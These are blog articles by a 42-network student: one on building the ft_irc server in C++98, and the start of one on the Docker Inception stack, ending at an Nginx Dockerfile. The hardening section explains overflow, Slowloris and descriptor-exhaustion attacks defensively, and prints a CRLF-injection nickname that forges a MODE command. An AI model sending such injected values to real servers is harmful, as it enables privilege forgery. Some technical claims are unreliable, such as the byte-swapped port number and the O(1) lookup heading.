2. Low-Level UNIX Networking Primitives

At the lowest tier of the server architecture, all network operations are translated into system calls interacting directly with the TCP/IP stack in the operating system kernel. Understanding the precise sequence of socket initialization is mandatory for diagnosing edge-case drops and network exceptions.

       [ Client / IRC App ]                       [ ft_irc Server Kernel ]
                |                                            |
                |                                    socket(AF_INET, SOCK_STREAM, 0)
                |                                    fcntl(fd, F_SETFL, O_NONBLOCK)
                |                                    bind(fd, sockaddr_in, port)
                |                                    listen(fd, BACKLOG=128)
                |                                            |
      === TCP 3-Way Handshake ===                            |
     [ SYN ] ----------------------------------------------> |
             <---------------------------------------------- [ SYN, ACK ]
     [ ACK ] ----------------------------------------------> |
                |                                            |
                |                                    accept(fd, client_addr) -> new_fd
                |                                    fcntl(new_fd, F_SETFL, O_NONBLOCK)
                |                                    poll(&fds, n_fds, timeout)
                |                                            |
      === Asynchronous Stream ===                            |
     [ NICK onevilx\r\n ] ---------------------------------> | [ POLLIN Event Triggered ]
             <---------------------------------------------- [ POLLOUT: :serv 001 onevilx ]

2.1 Socket Initialization & Non-Blocking Enforcement

When ft_irc boots up, it instantiates a listening server socket utilizing the IPv4 Internet Protocol family (AF_INET) and a reliable two-way connection-based byte stream (SOCK_STREAM), corresponding directly to TCP (Transmission Control Protocol).

To prevent the socket from locking execution during port recycling (such as when restarting the server rapidly after an unexpected crash, which typically triggers a 98 EADDRINUSE binding error due to TCP sockets lingering in the TIME_WAIT state), we must immediately configure socket level option flags using setsockopt().

// Server.cpp -- Initialization of non-blocking TCP socket in C++98
void Server::initServerSocket(int port) {
    // 1. Instantiate IPv4 Streaming Socket
    this->_serverSocketFd = socket(AF_INET, SOCK_STREAM, 0);
    if (this->_serverSocketFd == -1) {
        throw std::runtime_error("Fatal: Failed to initialize network socket descriptor.");
    }

    // 2. Prevent socket bind errors during rapid restart (TIME_WAIT optimization)
    int optval = 1;
    if (setsockopt(this->_serverSocketFd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)) == -1) {
        close(this->_serverSocketFd);
        throw std::runtime_error("Fatal: setsockopt SO_REUSEADDR configuration failed.");
    }

    // 3. Set Socket File Descriptor to strict NON-BLOCKING mode
    if (fcntl(this->_serverSocketFd, F_SETFL, O_NONBLOCK) == -1) {
        close(this->_serverSocketFd);
        throw std::runtime_error("Fatal: fcntl non-blocking flag application failed.");
    }

    // 4. Bind socket to local INADDR_ANY network interface
    struct sockaddr_in serverAddr;
    std::memset(&serverAddr, 0, sizeof(serverAddr));
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_addr.s_addr = INADDR_ANY; // Listen on all network adapters (0.0.0.0)
    serverAddr.sin_port = htons(static_cast<uint16_t>(port)); // Host-to-Network short endian conversion

    if (bind(this->_serverSocketFd, reinterpret_cast<struct sockaddr*>(&serverAddr), sizeof(serverAddr)) == -1) {
        close(this->_serverSocketFd);
        throw std::runtime_error("Fatal: Bind failure. Port may be occupied or privileged.");
    }

    // 5. Place socket into listening state with connection queue ceiling
    if (listen(this->_serverSocketFd, SOMAXCONN) == -1) {
        close(this->_serverSocketFd);
        throw std::runtime_error("Fatal: Listen state activation failed.");
    }
}

A vital structural component here is the invocation of htons() (Host TO Network Short). Modern CPU architectures (ARM64, x86_64) typically process bytes in Little-Endian byte order (least significant byte stored first in memory address space). However, TCP/IP network transmission standard dictates Big-Endian ordering (also known as Network Byte Order). Omitting htons() when parsing numerical ports results in byte inversion—causing a listener targeting port 6667 to silently open port 13082 instead!

3. Designing the Event-Driven Engine & Multiplexing Loop

With our TCP listener established, we construct the application's central heart: the continuous asynchronous polling event loop. We define an expandable dynamic array of struct pollfd elements. The zero-index record (_pollfds[0]) is permanently reserved for the core server listening socket, while subsequent slots (1 to N) monitor accepted individual client connections.

struct pollfd {
    int   fd;         // File descriptor to query
    short events;     // Requested event monitoring bitmask (e.g., POLLIN | POLLOUT)
    short revents;    // Returned event flag bitmask updated by kernel
};

3.1 The Master Loop Implementation

In each cycle of our engine, we invoke poll(&_pollfds[0], _pollfds.size(), -1). Passing an execution timeout of -1 instructs the operating system scheduler to put our process into a dormant zero-CPU standby state until an active physical network event transpires across at least one of our registered descriptors.

When an event triggers, the kernel wakes up our daemon and modifies the revents member of every targeted pollfd record. Our system iterates through the array to dispatch network events:

// Server.cpp -- Central multiplexing execution engine
void Server::runEventLoop() {
    this->_isRunning = true;
    
    // Register master listening socket into poll array
    struct pollfd masterPollFd;
    masterPollFd.fd = this->_serverSocketFd;
    masterPollFd.events = POLLIN;
    masterPollFd.revents = 0;
    this->_pollfds.push_back(masterPollFd);

    while (this->_isRunning) {
        // Sleep until network interrupt occurs across monitored descriptors
        int eventCount = poll(&this->_pollfds[0], this->_pollfds.size(), -1);
        if (eventCount == -1 && !this->_isRunning) {
            break; // Handle graceful shutdown upon POSIX signal catch (SIGINT/SIGTERM)
        }

        for (size_t i = 0; i < this->_pollfds.size(); ++i) {
            // If kernel recorded zero network activity on this FD, continue
            if (this->_pollfds[i].revents == 0) continue;

            // Check for critical connection drops or unrecoverable socket errors
            if (this->_pollfds[i].revents & (POLLERR | POLLHUP | POLLNVAL)) {
                this->disconnectClient(this->_pollfds[i].fd, "Network socket connection closed or errored.");
                continue;
            }

            // CASE A: New inbound connection handshake on master listening socket
            if (this->_pollfds[i].fd == this->_serverSocketFd && (this->_pollfds[i].revents & POLLIN)) {
                this->acceptNewConnection();
            }
            // CASE B: Existing client has transmitted raw payload bytes to be read
            else if (this->_pollfds[i].revents & POLLIN) {
                this->readClientStream(this->_pollfds[i].fd);
            }

            // CASE C: Outbound transmission queue has pending data waiting to exit buffer
            if (this->_pollfds[i].revents & POLLOUT) {
                this->flushClientOutput(this->_pollfds[i].fd);
            }
        }
    }
}

4. The Streaming Paradox: Resolving TCP Packet Fragmentation

Perhaps the single most critical engineering pitfall in network socket engineering—and an intense failure vector for inexperienced bug bounty hunters evaluating protocol implementations—is forgetting that TCP is a stream-based protocol, not a message-based protocol.

Unlike User Datagram Protocol (UDP), where each individual message is transmitted inside a distinct, atomic datagram envelope, TCP provides an continuous, undifferentiated byte stream abstraction. When a client application executes send("USER onevilx * 0 :Youssef\r\n"), the operating system network stack may fragment or aggregate those characters across arbitrary MTU (Maximum Transmission Unit) frames over the physical wire.

When our server invokes recv(clientFd, buffer, sizeof(buffer), 0), there are three absolute real-world scenarios that will occur:

Ideal Transmission: Exactly one full IRC command is received (NICK onevilx\r\n).
Packet Aggregation (Pipelining): Multiple distinct commands arrive bunched together inside a single TCP read operation (PASS mysecret123\r\nNICK onevilx\r\nUSER onevilx * 0 :Youssef\r\n).
Packet Fragmentation: A single command arrives partially split across multiple distinct TCP read events. The first recv() yields "PRIVMSG #hackers :Hello how are y", while the subsequent read 40 milliseconds later yields "ou doing today?\r\n".

If our server attempts to execute protocol parser commands immediately against raw read buffer arrays without stream accumulation, application logic will fatally crash or misparse parameters whenever network jitter occurs!

4.1 Engineered Ring-Buffer State Accumulation

To solve this deterministic problem, we assign a dedicated dynamic Read Ring Buffer (std::string _readBuffer) and Write Ring Buffer (std::string _writeBuffer) to every single Client class instance in memory.

When bytes arrive via POLLIN, we read up to 4096 raw bytes via recv() and append them directly to the client's continuous internal staging buffer string. We then enter an analytical string scanning loop that iterates over the staging buffer searching for the unambiguous RFC 1459 command terminator sequence: Carriage-Return + Line-Feed (\r\n).

// Client.cpp -- Handling TCP Stream fragmentation and extraction
void Server::readClientStream(int fd) {
    char tempBuf[4096];
    std::memset(tempBuf, 0, sizeof(tempBuf));
    
    ssize_t bytesRead = recv(fd, tempBuf, sizeof(tempBuf) - 1, 0);
    if (bytesRead <= 0) {
        // TCP Zero-byte receive confirms remote client gracefully closed socket (EOF)
        this->disconnectClient(fd, "Remote client closed network transmission.");
        return;
    }

    Client* currentClient = this->getClientByFd(fd);
    if (!currentClient) return;

    // Append newly received raw network stream bytes to client's persistent buffer
    currentClient->appendReadBuffer(tempBuf);

    // Enforce protocol safety ceiling against DoS memory depletion attacks (512 bytes per RFC)
    if (currentClient->getReadBuffer().length() > 2048 && currentClient->getReadBuffer().find("\r\n") == std::string::npos) {
        this->disconnectClient(fd, "Security Violation: Max command length exceeded without termination.");
        return;
    }

    // Continuously extract complete commands whenever valid \r\n terminator is present
    std::string commandString;
    while (currentClient->extractNextCommand(commandString)) {
        this->parseAndDispatchCommand(currentClient, commandString);
    }
}

// Client helper: Safe extraction of atomic commands from stream queue
bool Client::extractNextCommand(std::string& outCommand) {
    size_t delimiterPos = this->_readBuffer.find("\r\n");
    if (delimiterPos == std::string::npos) {
        // Terminator absent; partial fragmentation event. Await next TCP window!
        return false;
    }

    // Extract exact command string up to delimiter point
    outCommand = this->_readBuffer.substr(0, delimiterPos);
    // Slice off consumed payload plus the 2-byte \r\n sequence from ring buffer
    this->_readBuffer.erase(0, delimiterPos + 2);
    return true;
}

This staging design guarantees zero packet contamination and insulates protocol execution from all network timing variances and fragmentation quirks.

5. Lexical Parser & Command Dispatcher Mechanics

Once a pristine, un-fragmented instruction string is extracted from our buffer, it enters the Protocol Parser Engine. According to RFC 2812 Section 2.3, every valid IRC message follows a strict grammar format:

$$\text{[":" <prefix> " "] <command> [" " <parameter>]* [":" <trailing>]}$$

Consider the real-world complex transmission string: ":onevilx!youssef@127.0.0.1 PRIVMSG #ctf-operations :We just bypassed the root WAF payload!"

Our Lexical Analyzer deconstructs this input via a structured three-step state loop:

Prefix Identification: If the string begins with a colon (:), the subsequent token represents the message originator prefix (used primarily for server-to-server routing and identity verification).
Command Tokenization: The next uppercase alphanumeric sequence is extracted as the instruction operator (PRIVMSG, JOIN, MODE, NICK, KICK).
Parameter Scaffolding: Remaining tokens separated by whitespace are collected into an ordered parameter vector (std::vector<std::string>). If an individual argument begins with an explicit colon (:), all subsequent whitespace characters are treated as literal text belonging to a singular trailing parameter string ("We just bypassed the root WAF payload!").

struct IrcMessage {
    std::string prefix;
    std::string command;
    std::vector<std::string> params;
    std::string trailing;
};

5.1 O(1) Command Dispatcher via Function Pointer Maps

A naive engineering implementation of command routing typically utilizes endless cascading if / else if string comparison trees:

if (cmd == "JOIN") handleJoin(...);
else if (cmd == "NICK") handleNick(...);
else if (cmd == "PRIVMSG") handlePrivmsg(...);
// ... fifty iterations later ...

This approach incurs substantial CPU execution degradation as command quantity multiplies, degrading overall string matching efficiency to $O(N)$. To enforce maximum execution velocity in C++98, we instantiate a static Member Function Pointer Dispatch Table during server bootstrap.

// CommandDispatcher typedef definition in C++98 syntax
typedef void (Server::*CommandHandler)(Client* sender, const IrcMessage& msg);

// Bootstrap initialization of constant hashing map
void Server::initCommandMap() {
    this->_commandTable["PASS"]    = &Server::handlePass;
    this->_commandTable["NICK"]    = &Server::handleNick;
    this->_commandTable["USER"]    = &Server::handleUser;
    this->_commandTable["PING"]    = &Server::handlePing;
    this->_commandTable["PONG"]    = &Server::handlePong;
    this->_commandTable["JOIN"]    = &Server::handleJoin;
    this->_commandTable["PART"]    = &Server::handlePart;
    this->_commandTable["PRIVMSG"] = &Server::handlePrivmsg;
    this->_commandTable["NOTICE"]  = &Server::handleNotice;
    this->_commandTable["TOPIC"]   = &Server::handleTopic;
    this->_commandTable["KICK"]    = &Server::handleKick;
    this->_commandTable["INVITE"]  = &Server::handleInvite;
    this->_commandTable["MODE"]    = &Server::handleMode;
    this->_commandTable["QUIT"]    = &Server::handleQuit;
}

// Zero-overhead Command Routing invocation
void Server::parseAndDispatchCommand(Client* client, const std::string& rawLine) {
    IrcMessage msg = this->lexMessage(rawLine);
    
    // Validate whether command token exists inside dispatch register
    std::map<std::string, CommandHandler>::iterator it = this->_commandTable.find(msg.command);
    if (it != this->_commandTable.end()) {
        CommandHandler handler = it->second;
        // Invoke target member function pointer directly against Server context
        (this->*handler)(client, msg);
    } else {
        // RFC 2812 Standard Response for unsupported instruction attempts
        this->sendNumericReply(client, ERR_UNKNOWNCOMMAND, msg.command + " :Unknown command");
    }
}

By leveraging std::map red-black tree structures, our instruction lookups execute in guaranteed logarithmic computational time $O(\log N)$ with complete structural cleanliness and zero branching complexity.

6. Channel Multiplexing & Access Control List (ACL) Engine

The lifeblood of Internet Relay Chat is collaborative interaction across independent communication hubs known as Channels. In ft_irc, a Channel is an independent object maintaining dynamic internal registries that regulate connectivity, data distribution, and security clearances.

6.1 Channel Mode Matrix & Authorization Bypasses

To satisfy enterprise simulation standards, our system natively implements five foundational channel mode security controls defined under RFC 2812 Section 3.2.3:

+-----------------------------------------------------------------------------+
|                     CHANNEL SECURITY MODE PRIVILEGE REGISTRY                |
+-------+-----------------------------+---------------------------------------+
| Flag  | Mode Classification         | Architectural Functionality            |
+-------+-----------------------------+---------------------------------------+
|  +i   | Invite-Only Enforcement     | Blocks unauthorized JOIN attempts     |
|       |                             | without an active presence on ACL     |
|       |                             | invitation ledger.                    |
+-------+-----------------------------+---------------------------------------+
|  +t   | Topic Protection Restriction| Prevents standard participants from   |
|       |                             | modifying channel subject string;     |
|       |                             | restricted to Operator identities.    |
+-------+-----------------------------+---------------------------------------+
|  +k   | Cryptographic Keyword Shield| Mandates matching password verification|
|       |                             | during JOIN packet parsing.           |
+-------+-----------------------------+---------------------------------------+
|  +l   | Saturation Capacity Ceiling | Sets hard numerical user capacity limit|
|       |                             | blocking further inbound connections. |
+-------+-----------------------------+---------------------------------------+
|  +o   | Channel Operator Privilege  | Grants user administrative execution  |
|       |                             | rights (KICK, MODE, INVITE commands). |
+-------+-----------------------------+---------------------------------------+

When an unverified client issues an administrative instruction—such as attempting to eject a fellow developer using KICK #1337-ctf victim :Spamming comments—the server executes an aggressive authorization pipeline:

void Server::handleKick(Client* sender, const IrcMessage& msg) {
    if (msg.params.size() < 2) {
        return this->sendNumericReply(sender, ERR_NEEDMOREPARAMS, "KICK :Not enough parameters");
    }

    std::string channelName = msg.params[0];
    std::string targetNick  = msg.params[1];
    std::string reason      = msg.trailing.empty() ? "Ejected by channel operator" : msg.trailing;

    Channel* chan = this->getChannelByName(channelName);
    if (!chan) {
        return this->sendNumericReply(sender, ERR_NOSUCHCHANNEL, channelName + " :No such channel");
    }

    // Step 1: Verify sender presence inside target channel
    if (!chan->isMember(sender)) {
        return this->sendNumericReply(sender, ERR_NOTONCHANNEL, channelName + " :You're not on that channel");
    }

    // Step 2: CRITICAL SECURITY CHECK — Validate Channel Operator Clearance
    if (!chan->isOperator(sender)) {
        // Unauthorized access attempt thwarted!
        return this->sendNumericReply(sender, ERR_CHANOPRIVSNEEDED, channelName + " :You're not channel operator");
    }

    // Step 3: Confirm targeted victim is actively situated in channel
    Client* victim = this->getClientByNick(targetNick);
    if (!victim || !chan->isMember(victim)) {
        return this->sendNumericReply(sender, ERR_USERNOTINCHANNEL, targetNick + " " + channelName + " :They aren't on that channel");
    }

    // Step 4: Construct standardized broadcast payload and transmit to all active members
    std::string kickPacket = ":" + sender->getPrefix() + " KICK " + channelName + " " + targetNick + " :" + reason + "\r\n";
    chan->broadcastToAll(kickPacket);
    
    // Step 5: Execute atomic disconnection of victim from internal channel ledger
    chan->removeMember(victim);
    if (chan->getMemberCount() == 0) {
        this->destroyChannel(channelName); // RAII automatic cleanup of deserted channel
    }
}

6.2 O(N) Broadcasting & Dead-Lock Prevention

When transmitting messages across a channel (PRIVMSG #general :Hello World!), our broadcast engine iterates through the channel’s member list and appends the payload into each target user's Write Ring Buffer (_writeBuffer). Crucially, we perform an explicit conditional evaluation (if (targetClient != sender)) to prevent echo loops, ensuring that the authoring sender does not receive an identical, duplicated reflection of their own packet transmission!

7. Offensive Security Analysis: Hardening an Custom Server

As a Bug Bounty Hunter and offensive security researcher, deploying a custom network server without conducting aggressive vulnerability analysis is unacceptable. Designing an IRC engine from scratch in raw C++ opens the door to severe low-level memory corruption vulnerabilities, logical race conditions, and denial of service exploitation vectors.

Here is an analytical assessment of four primary attack vectors targeted during our offensive penetration hardening phase:

7.1 Buffer Overflows via Unbounded String Manipulation

The Attack Vector: In raw C, utilizing legacy standard IO functions (strcpy, sprintf, strcat) without absolute bounds checking allows an attacker to transmit an excessively long nickname argument (NICK AAAAAAAAAAAAAAAAA...x4000), overwriting stack memory registers and overriding the application Instruction Pointer (EIP/RIP) to execute arbitrary injected shellcode.
The Hardening Defense: In ft_irc, legacy C-string pointer operations are prohibited. All text accumulation and lexical parsing operations utilize standard heap-allocated C++ containers (std::string, std::vector). When string buffer boundaries expand, standard allocation libraries manage contiguous memory scaling safely, eliminating stack overflow possibilities entirely.

7.2 Denial of Service (DoS): Slowloris Stream Exhaustion

The Attack Vector: A hostile actor initializes hundreds of legitimate TCP connections to port 6667, but deliberately withholds sending an explicit CRLF terminator sequence (\r\n). Instead, they transmit a single character every 25 seconds (N ... sleep ... I ... sleep ... C ...). Naive threaded architectures lock execution threads indefinitely waiting for command completion, depleting total system resources and triggering total denial of service for legitimate users.
The Hardening Defense: Because our asynchronous polling engine utilizes non-blocking sockets, lingering connections consume zero processing CPU execution cycles. Furthermore, our system implements an aggressive security constraint: if an individual client’s staging _readBuffer exceeds 2048 bytes without containing a valid termination delimiter, the connection is flagged as malicious, forcefully terminated via close(fd), and purged from the poll monitoring array.

7.3 File Descriptor Exhaustion & Socket Leaks

The Attack Vector: Linux kernel architecture assigns a finite cap on total open File Descriptors available per executing user or process configuration (ulimit -n, traditionally capped at 1024). If an attacker scripts an aggressive rapid-reconnection flooding loop (repeatedly executing TCP SYN-ACK handshakes followed by immediate silent client teardown without sending QUIT), a vulnerable server that fails to cleanly intercept connection termination exceptions will leak orphaned sockets until every descriptor slot is exhausted. Once saturated, accept() returns -1 EMFILE (Too many open files), taking the entire communications server offline.
The Hardening Defense: Our main polling engine inspects error flags (POLLERR, POLLHUP, POLLNVAL) on every single iteration cycle before evaluating read events. When a socket disconnect or error is detected, an explicit cleanup sequence executes:
1. The socket descriptor is forcefully severed using system close(fd).
2. The pointer instance is entirely detached from all active Channel participation registries.
3. The associated memory pointer is explicitly de-allocated via C++ delete, preventing RAM memory leak anomalies verified under rigorous Valgrind and AddressSanitizer debugging audits.

7.4 Protocol Parser Injection (CRLF Splitting)

The Attack Vector: Similar to HTTP Response Splitting vulnerabilities found in modern web bug hunting, if an IRC server implicitly trusts unvalidated user input when generating broadcast payloads, an attacker can inject malicious carriage returns (\r\n) directly inside parameter strings. For instance, registering a nickname containing embedded CRLF tokens: NICK "attacker\r\n:serv MODE #secret +o attacker". If the server blindly propagates this string into channel notification broadcasts without sanitization, recipient clients interpret the injected sub-string as an authentic administrative promotion command originating from the main hosting server!
The Hardening Defense: Our lexical engine executes mandatory validation across all identity modification inputs (NICK, USER, TOPIC). Any incoming parameter string containing forbidden control characters—specifically \r (0x0D), \n (0x0A), null terminators (0x00), or unassigned whitespace tokens—is outright rejected with standardized error transmission code ERR_ERRONEUSNICKNAME (432).

8. Verification, Testing & Industrial Interoperation

An IRC server cannot be declared operational in isolation; it must survive interrogation against rigorous, established industry standards and commercial desktop clients.

+-----------------------------------------------------------------------------+
|                      INTEROPERABILITY VERIFICATION TEST BED                 |
+---------------------+-------------------------------------------------------+
| Client Application  | Validation Target & Test Result                      |
+---------------------+-------------------------------------------------------+
| 1. Irssi (Terminal) | Verified continuous PING/PONG keep-alive handshakes   |
|                     | and multi-window channel switching without exceptions.|
| 2. WeeChat          | Confirmed accurate formatting of numeric replies      |
|                     | (RPL_WELCOME, RPL_NAMREPLY, RPL_ENDOFNAMES).          |
| 3. HexChat (GUI)    | Tested rapid graphical channel listing, topic         |
|                     | mutations, and real-time private direct message tabs. |
| 4. Netcat / Telnet  | Executed manual string injection, partial TCP frames, |
|                     | and protocol fuzzing evaluations.                     |
+---------------------+-------------------------------------------------------+

8.1 Fuzzing under Automated Python Pipelines

To ensure absolute reliability against memory leakage and race conditions, we designed custom automated Python stress-testing scripts utilizing raw asynchronous asyncio networking streams. Our fuzzing suite simultaneously launches 500 concurrent phantom clients that aggressively bombard the ft_irc port with randomized payload streams, intentionally fragmented commands, simultaneous massive channel joins (JOIN #fuzz1, #fuzz2, #fuzz3), and rapid abrupt socket disconnections.

Throughout continuous 4-hour high-capacity bombardment evaluations, the server was monitored directly under Valgrind Memcheck:

valgrind --leak-check=full --show-leak-kinds=all --track-origins=yes ./ircserv 6667 m337P@ss

Result: Zero orphaned bytes reported in total heap usage analysis. All dynamically constructed socket descriptors and class instances were deterministically reclaimed across every single lifecycle teardown!

9. Conclusion: Why Low-Level Protocol Literacy Matters

Building ft_irc from the bare metal up rewired my comprehension of network systems engineering. When you debug a mysterious bug where an IRC client drops connection after five minutes, only to discover through raw Wireshark packet hex-dump tracing that your server omitted a required leading colon (:) inside an automated PONG :<token> challenge reply, you attain a level of intuition that high-level abstract programming can never impart.

For cybersecurity operators, penetration testers, and offensive bug hunters, writing a complex network server in pure C++ reveals exactly how subtle syntax logic anomalies, imperfect parsing loops, and memory resource miscalculations translate into explosive field vulnerabilities. You stop seeing protocols as rigid, untouchable abstractions—and begin recognizing them as complex, dynamic machines waiting to be inspected, optimized, or constructively disrupted.

Explore the Codebase

Ready to inspect the architecture, review the custom non-blocking poll loops, and test the server implementation directly in your environment? Access the full, documented repository on GitHub:

<div class="my-8 flex flex-col sm:flex-row items-center justify-between bg-[var(--card-bg)] border border-black/10 dark:border-white/10 rounded-2xl p-6 shadow-sm"> <div class="flex items-center gap-4 mb-4 sm:mb-0"> <div class="p-3 bg-[var(--primary)] text-white rounded-xl font-bold text-xl"> C++98 </div> <div> <h4 class="text-lg font-bold text-90 m-0">onevilx / ft_irc</h4> <p class="text-sm text-50 m-0">Custom high-performance RFC 2812 IRC server engineered in pure C++98</p> </div> </div> <a href="https://github.com/onevilx/ft_irc" target="_blank" rel="noopener noreferrer" class="no-styling px-6 py-3 bg-[var(--primary)] hover:opacity-90 transition text-white font-bold rounded-xl whitespace-nowrap shadow-md active:scale-95 text-center w-full sm:w-auto"> View Repository on GitHub → </a> </div>

Inception — Multi-Container DevOps Infrastructure

Mon, 02 Feb 2026 00:00:00 GMT

Source Code & Complete Repository: onevilx/inception
Infrastructure Stack: Docker / Docker Compose / Custom TLS Reverse Proxy
Environment: 1337 School (42 Network)

Modern container virtualization has radically transformed software deployment, cloud orchestration, and enterprise DevOps infrastructure. When an engineering organization scales applications across complex distributed topologies—from single-server bare metal environments to Kubernetes cloud clusters—the dividing line between resilient system uptime and catastrophic infrastructure collapse lies entirely in how cleanly systems decouple process execution from system resource dependency.

However, the proliferation of pre-packaged automated container images from public registries has fostered a dangerous culture of architectural compliance without foundational comprehension. Millions of developers deploy automated multi-tiered web environments by downloading bloated, generalized Docker Hub templates without understanding how Linux operating system kernel primitives—specifically Namespaces and Control Groups (cgroups)—isolate processes, govern hardware utilization, and enforce security boundaries.

The Inception project at 1337 School (42 Network) intentionally dismantles this abstraction layer. The engineering directive is uncompromising: design, orchestrate, and construct an enterprise-grade multi-container virtual web infrastructure completely from scratch. Utilizing bare Linux operating system distribution baselines (Debian 12 Bookworm or Alpine Linux), every single operational component—from TLS-encrypted reverse proxies to standalone relational database daemons—must be manually compiled, hard-coded, and instantiated through bespoke Dockerfiles, custom shell entrypoint pipelines, and deterministic networking topologies. No official pre-bundled service images are permitted.

This article provides a rigorous technical examination of the Inception system architecture, unpacking container kernel physics, inter-container virtual networking bridges, FastCGI binary protocol routing, automated zero-intervention database bootstrapping, POSIX PID 1 signal management, and offensive security infrastructure hardening against container escape and credential exploitation vectors.

1. The Physics of Virtualization vs. Containerization

To engineer an optimized infrastructure, a system architect must fundamentally distinguish between traditional hardware virtualization (Hypervisor Virtual Machines) and Operating System OS-level containerization.

+-----------------------------------------------------------------------------+
|               INFRASTRUCTURE ISOLATION ARCHITECTURE COMPARISON               |
+------------------------------------+----------------------------------------+
| Hypervisor Virtualization (VMs)    | Operating System Containerization       |
+------------------------------------+----------------------------------------+
| App A      App B       App C       | App A (Nginx)  App B (WP)  App C (SQL) |
| Bin/Lib    Bin/Lib     Bin/Lib     | Bin/Lib        Bin/Lib     Bin/Lib     |
| Guest OS   Guest OS    Guest OS    |            Docker Engine               |
|         Hypervisor (KVM/ESXi)       |       Host Linux Kernel (Namespaces)   |
|            Host Physical Hardware  |            Host Physical Hardware       |
+------------------------------------+----------------------------------------+

The Heavyweight Burden of Hypervisor Virtualization

Traditional Type-1 and Type-2 hypervisors (such as VMware ESXi, KVM, or QEMU) isolate application workloads by virtualizing physical hardware components directly—emulating CPUs, memory controllers, disks, and network interface adapters. Each virtual machine mandates running a complete, proprietary Guest Operating System kernel alongside user-space libraries. This paradigm exacts an immense computational tax: massive memory duplication, degraded I/O disk virtualization throughput, and multi-second system boot initialization times.

Container Mechanics: Kernel Namespaces and Control Groups

Containerization completely sidesteps hardware emulation by deploying isolated execution partitions sharing a single unifying host Linux Operating System Kernel. When the Docker engine boots a component in our Inception cluster, it combines two distinct kernel isolation primitives:

Linux Namespaces: Restrict what an executing process can perceive within the operating environment.
- pid (Process IDs): Creates an isolated process tree hierarchy; an Nginx server running inside a container perceives itself as running as PID 1, completely blind to concurrent processes executing across neighbor containers or the underlying host OS.
- net (Networking): Assigns dedicated virtual network adapter interfaces, routing tables, port numbers, and firewall iptables rulesets.
- mnt (Mount / Filesystems): Establishes isolated root filesystem mount points and directory paths (chroot equivalents).
- ipc (Inter-Process Communication): Prevents shared POSIX RAM segments and system message queues from spilling across container partitions.
Control Groups (cgroups v2): Regulate what resources a process can consume, enforcing strict physical ceilings on total CPU cycles, dynamic memory allocation limits, disk read/write IOPS throughput, and network adapter bandwidth saturation.

2. Infrastructure Topology & Secure Network Design

Our deployment design is engineered around strict security boundary isolation and Principle of Least Privilege (PoLP) routing architecture. The external public internet must interact exclusively with an encrypted perimeter defense gateway, completely decoupling persistent internal backend applications and relational storage layers from external access.

                  [ External Public Network / Browser ]
                                   |
                          HTTPS (Port 443 / TLSv1.3)
                                   |
       === HOST SYSTEM ARCHITECTURE: INCEPTION_NETWORK (Bridge) ===
+----------------------------------+------------------------------------------+
|  Container: NGINX (Perimeter)    |  Host Filesystem Persistent Bind Mounts   |
|  - SSL / TLSv1.3 Termination     |                                          |
|  - Port 443 -> Exposed to Host   |                                          |
|  - FastCGI Proxying (Port 9000)  |                                          |
+----------------------------------+                                          |
        |                  \                                                  |
     Port 9000 (TCP/FCGI)   \-- (Shared Volume: /home/onevilx/data/wordpress) |
        |                                       /                             |
+----------------------------------+           /                              |
|  Container: WORDPRESS (Compute)  | ----------                               |
|  - PHP-FPM 8.2 Execution Engine  |                                          |
|  - WP-CLI Automation Scripting   |                                          |
|  - Port 9000 -> Internal Only    |                                          |
+----------------------------------+                                          |
        |                                                                     |
     Port 3306 (TCP/MySQL)                                                    |
        |                                                                     |
+----------------------------------+                                          |
|  Container: MARIADB (Storage)    | --- (Shared Volume: /home/onevilx/data/db)|
|  - Custom SQL Bootstrap Engine   |                                          |
|  - Port 3306 -> Internal Only    |                                          |
+----------------------------------+------------------------------------------+

2.1 The Docker Bridge Network (`inception_network`)

To achieve zero-trust network segregation, all containers are joined to a user-defined custom Docker bridge network titled inception_network. Unlike default legacy docker0 bridge setups, custom networks benefit from automated embedded Docker DNS resolution. Containers can locate and establish socket connections with each other by resolving internal hostname targets directly (wordpress, mariadb), eliminating unstable, hard-coded dynamic internal IP allocations!

Crucially, our operational network firewall mapping exposes only a single physical host port: Port 443 (HTTPS) on the NGINX perimeter gateway. All plain unencrypted HTTP requests (Port 80) are systematically disabled, while our internal PHP computational server (port 9000) and MariaDB database (port 3306) reside completely hidden behind internal Docker bridge network boundaries. An attacker scanning the host physical machine discovers a fully sealed perimeter displaying zero exposed backend administrative application layers!

2.2 Stateful Persistence via Host Bind Mounts

Because containers are intentionally engineered to be ephemeral, stateless execution execution environments, writing persistent database tables or content directly into a container's internal copy-on-write filesystem overlay guarantees permanent data destruction the moment a container is restarted or updated.

To achieve enterprise stateful storage preservation, we declare rigorous local Host Bind Mounts bridging persistent physical Linux directories directly into container mount destinations:

src: /home/onevilx/data/wordpress $\rightarrow$ dst: /var/www/html: Shares functional core CMS executable code concurrently between Nginx (for static CSS/JS/Image file delivery) and PHP-FPM (for dynamic code parsing).
src: /home/onevilx/data/mariadb $\rightarrow$ dst: /var/lib/mysql: Preserves physical binary relational database table records and schema transaction logs safely on the host hard disk drive, impervious to container recycling operations.

3. Tier 1: Perimeter Defense & Hardened Nginx TLS Reverse Proxy

The NGINX perimeter server acts as our external front door, responsible for protocol encryption termination, static resource asset delivery, and upstream request proxy routing.

To construct this component cleanly without relying on public templates, we formulate an explicit multi-stage instructional Dockerfile utilizing a minimal Debian 12 Bookworm operating base:

# /srcs/requirements/nginx/Dockerfile
FROM debian:bookworm-slim

# Maintainer Identity
LABEL maintainer="onevilx <youssef@127.0.0.1>"

# Install NGINX web daemon & OpenSSL cryptography tooling cleanly
RUN apt-get update && apt-get install -y --no-install-recommends \
    nginx \
    openssl \
    curl \
    && rm -rf /var/lib/apt/lists/*

# Establish secure internal configuration directories
RUN mkdir -p /etc/nginx/ssl /var/run/nginx

# Generate enterprise self-signed X.509 RSA SSL/TLS Cryptographic Certificates
RUN openssl req -x509 -nodes -out /etc/nginx/ssl/inception.crt \
    -keyout /etc/nginx/ssl/inception.key -subj \
    "/C=MA/ST=Casablanca-Settat/L=Khouribga/O=1337 School/OU=42 Network/CN=onevilx.42.fr" \
    -days 365 -newkey rsa:4096

# Inject Hardened Custom Configuration Profile
COPY ./conf/nginx.conf /etc/nginx/nginx.conf
COPY ./conf/default.conf /etc/nginx/conf.d/default.conf

# Enforce secure ownership across application file descriptors
RUN chown -R www-data:www-data /var/www/html /etc/nginx/ssl

# Expose restricted TLS encryption communication port
EXPOSE 443

# Invoke NGINX execution directly in foreground as PID 1 daemon
CMD ["nginx", "-g", "daemon off;"]

